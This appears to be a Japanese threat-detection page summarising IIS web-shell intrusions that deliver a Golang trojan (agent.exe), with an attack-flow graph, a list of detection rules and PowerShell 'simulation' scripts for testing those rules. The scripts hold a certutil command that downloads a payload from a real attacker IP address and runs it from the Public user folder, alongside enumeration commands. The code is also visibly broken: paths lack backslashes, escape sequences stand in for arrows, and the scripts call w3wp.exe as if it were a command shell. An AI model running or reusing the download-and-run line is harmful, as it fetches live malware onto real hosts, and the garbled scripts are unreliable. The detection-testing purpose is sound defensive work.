Trial, Error, and Typos: Why Some Malware Attacks Aren’t as ‘Sophisticated’ as You Think
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
この記事は、脅威アクターが侵害されたIISウェブサーバーを利用して被害者のエンドポイントにGolangベースのトロイの木馬(agent.exe)をダウンロードし実行する3つの別々の事件を説明しています。攻撃者は繰り返し実行を試み、certutilを使用してペイロードを取得し、その後、Windowsサービスを通じて永続性を確立しようとする前に、Windows Defender除外を追加しました。EDRとSysmonのログを通じて、コマンドライン、プロセスツリー、ネットワーク活動を記録し、検出に成功しました。この攻撃は、敵対者が完璧なプレイブックよりも防御の障壁に順応する方法を示しています。
調査
Huntressの分析者は、Windowsイベントログ、Sysmonイベント、IISウェブサーバーログを調べて攻撃のチェーンを再構築しました。彼らはw3wp.exeによる初期ウェブシェルの実行、形式の不正なコマンド、繰り返し行われたペイロードの配信試行、起動しなかったWindowsUpdateというサービスの作成を観察しました。ファイルパス、コマンドライン、ネットワーク接続などの複数の指標が3つのインシデント間で収集および相関されました。
緩和策
主な緩和策には、IISサーバーの強化、ウェブシェルの実行制限、厳格なアプリケーション許可リストの施行、certutilやPowerShellなどのLOLBinsの異常使用の監視、Windows Defenderの除外が恣意的に作成されないことの確保が含まれます。侵害されたホストの迅速な隔離およびGotoHTTPのようなドロップされたツールの削除も推奨されます。
対応
検出すると、レスポンダーは影響を受けたエンドポイントを隔離し、完全なプロセスツリーとネットワークログを収集し、悪意のあるバイナリを削除し、無許可のWindows Defender除外を元に戻し、サービス作成の失敗を確認する必要があります。侵害されたページについてウェブサーバーを徹底的に確認し、すべての侵害された資格情報をリセットしてください。
“graph TB %% クラス定義セクション classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef technique fill:#c2c2f0 classDef malware fill:#ff9999 %% ノード定義 initial_access[“<b>アクション</b> – <b>T1505.004 サーバーソフトウェアコンポーネント: IISコンポーネント</b><br/>公開されたIISウェブサーバーを悪用し、w3wp.exeを介してウェブシェルを展開”] web_shell[“<b>マルウェア</b> – <b>名前</b>: ウェブシェル<br/><b>ファイル</b>: login.aspx”] process_w3wp[“<b>プロセス</b> – <b>名前</b>: w3wp.exe<br/><b>目的</b>: ウェブアプリケーションのホスト”] execution[“<b>アクション</b> – <b>T1059.003 Windowsコマンドシェル</b><br/>whoami、netstat、ipconfigのようなコマンドを実行”] powershell_exec[“<b>ツール</b> – <b>名前</b>: PowerShell<br/><b>技術</b>: T1059.001”] discovery[“<b>アクション</b> – <b>発見技術</b>”] account_discovery[“<b>技術</b> – <b>T1087.001 ローカルアカウント</b><br/>ローカルユーザーアカウントを列挙”] group_discovery[“<b>技術</b> – <b>T1069.001 ローカルグループ</b><br/>ローカルグループのメンバーシップを列挙”] network_conn_disc[“<b>技術</b> – <b>T1049 ネットワークサービススキャン</b><br/>アクティブなネットワーク接続を特定”] internet_conn_disc[“<b>技術</b> – <b>T1016.001 インターネット接続の発見</b><br/>外部接続を確認”] defense_evasion[“<b>アクション</b> – <b>防御回避技術</b>”] certutil[“<b>ツール</b> – <b>名前</b>: certutil.exe<br/><b>技術</b>: T1218 システムバイナリープロキシ実行”] hide_files[“<b>技術</b> – <b>T1564.001 アーティファクトを隠す: 隠しファイルとディレクトリ</b><br/>隠しおよびシステム属性を設定”] defender_exclusion[“<b>技術</b> – <b>T1562 防御を損なう</b> および <b>T1564.012 ファイルパスの除外</b><br/>PowerShellを介してWindows Defenderの除外を追加”] lateral_transfer[“<b>アクション</b> – <b>T1570 横移動ツール転送</b><br/>外部サーバーから悪意のあるバイナリをコピー”] malicious_binaries[“<b>マルウェア</b> – <b>ファイル</b>: agent.exe, 815.exe, dllhost.exe”] persistence[“<b>アクション</b> – <b>T1546.010 イベントトリガー実行: Windowsサービス</b><br/>サービス ‘WindowsUpdate’ をdllhost.exeに向けて作成”] service_creation[“<b>プロセス</b> – <b>名前</b>: Windowsサービス ‘WindowsUpdate'”] final_execution[“<b>アクション</b> – <b>最終実行</b><br/>サービス開始、攻撃者が制御を維持”] %% クラス割当 class initial_access action class web_shell malware class process_w3wp process class execution action class powershell_exec tool class discovery action class account_discovery technique class group_discovery technique class network_conn_disc technique class internet_conn_disc technique class defense_evasion action class certutil tool class hide_files technique class defender_exclusion technique class lateral_transfer action class malicious_binaries malware class persistence action class service_creation process class final_execution action %% 接続 initial_access u002du002d>|使用| web_shell web_shell u002du002d>|実行中| process_w3wp process_w3wp u002du002d>|有効に| execution execution u002du002d>|使用| powershell_exec execution u002du002d>|につながる| discovery discovery u002du002d>|含む| account_discovery discovery u002du002d>|含む| group_discovery discovery u002du002d>|含む| network_conn_disc discovery u002du002d>|含む| internet_conn_disc discovery u002du002d>|につながる| defense_evasion defense_evasion u002du002d>|使用| certutil defense_evasion u002du002d>|適用| hide_files defense_evasion u002du002d>|適用| defender_exclusion defense_evasion u002du002d>|につながる| lateral_transfer lateral_transfer u002du002d>|転送| malicious_binaries malicious_binaries u002du002d>|有効に| persistence persistence u002du002d>|作成| service_creation service_creation u002du002d>|トリガー| final_execution “
攻撃フロー
検出
ファイルを隠すための特性実行(cmdline経由)
表示
名前にのみ数字を含む疑わしい実行ファイル(cmdline経由)
表示
Windows Defenderの設定変更の不審な変更(powershell経由)
表示
データエンコードと証明書操作のためのCertutilの使用(cmdline経由)
表示
公共ユーザープロファイル内の疑わしいファイル(file_event経由)
表示
公共ユーザープロファイルからの疑わしい実行(process_creation経由)
表示
トライアル、エラー、タイプミス:一部のマルウェア攻撃が「洗練された」ものではない理由を検出するためのIOCs(SourceIP)
表示
トライアル、エラー、タイプミス:一部のマルウェア攻撃が「洗練された」ものではないと考えるIOCs(HashSha256)
表示
トライアル、エラー、タイプミス:一部のマルウェア攻撃が「洗練された」ものではない理由を検出するためのIOCs(DestinationIP)
表示
ウェブサーバー上の悪意のあるPOSTリクエストの検出 [Webserver]
表示
ウェブサーバープロセスからのコマンドライン実行の検出 [Windows プロセス作成]
表示
シミュレーション実行
前提条件:テレメトリ&ベースラインプリフライトチェックが合格していること。
根拠:このセクションは、検出ルールをトリガーするよう設計された敵対者の技術(TTP)の正確な実行を詳細に説明します。コマンドとナラティブは、識別されたTTPに直接反映され、検出ロジックによって期待されるテレメトリを正確に生成することを目的としています。
-
攻撃のストーリーとコマンド:
既に侵害されたIISサーバーでコード実行権限を得た攻撃者は、w3wp.exeプロセス(IISワーカー)を利用して、署名済みバイナリプロキシの一連を実行します。最初に、システムとネットワークの状態(whoami.exe,netstat -an,ipconfig /all)を列挙します。その後、certutil.exeを使用して、リモートC2サーバーからの悪意のあるペイロード(agent.exe)をダウンロードし、公共ユーザーディレクトリで直ちに実行します。すべてのコマンドは、cmd.exe /cのコンテキストで起動され、プロセス作成イベントがルールの条件に一致するようにします。w3wp.exe, ensuring the process creation event matches the rule’s conditions.# 1. システム/ユーザー情報の列挙 Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. certutilを使用して悪意のあるペイロードをダウンロードして実行 $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
回帰テストスクリプト: 以下のスクリプトは、Sigmaルールを発火させるべきテレメトリを正確に再現する攻撃チェーン全体を自動化します。
<# .SYNOPSIS "見つかったWebサーバープロセスからのコマンドライン実行" Sigmaルールをトリガーする敵対者活動をシミュレートします。 .DESCRIPTION IISワーカープロセス(w3wp.exe)から一連の探索およびダウンロード&実行コマンドを実行します。 プロセス作成監査(イベントID 4688)が有効なWindowsホスト上で実行。 #> # w3wp.exe経由でコマンドを呼び出す関数 function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Invoking via w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. 探索コマンド(MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. 悪意のあるダウンロード&実行(MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
クリーンアップコマンド: ダウンロードされたペイロードを削除し、不要なプロセスを終了します。
# 悪意のあるエージェントバイナリを削除 Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # エージェントがまだ実行中の場合はオプションで停止 Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force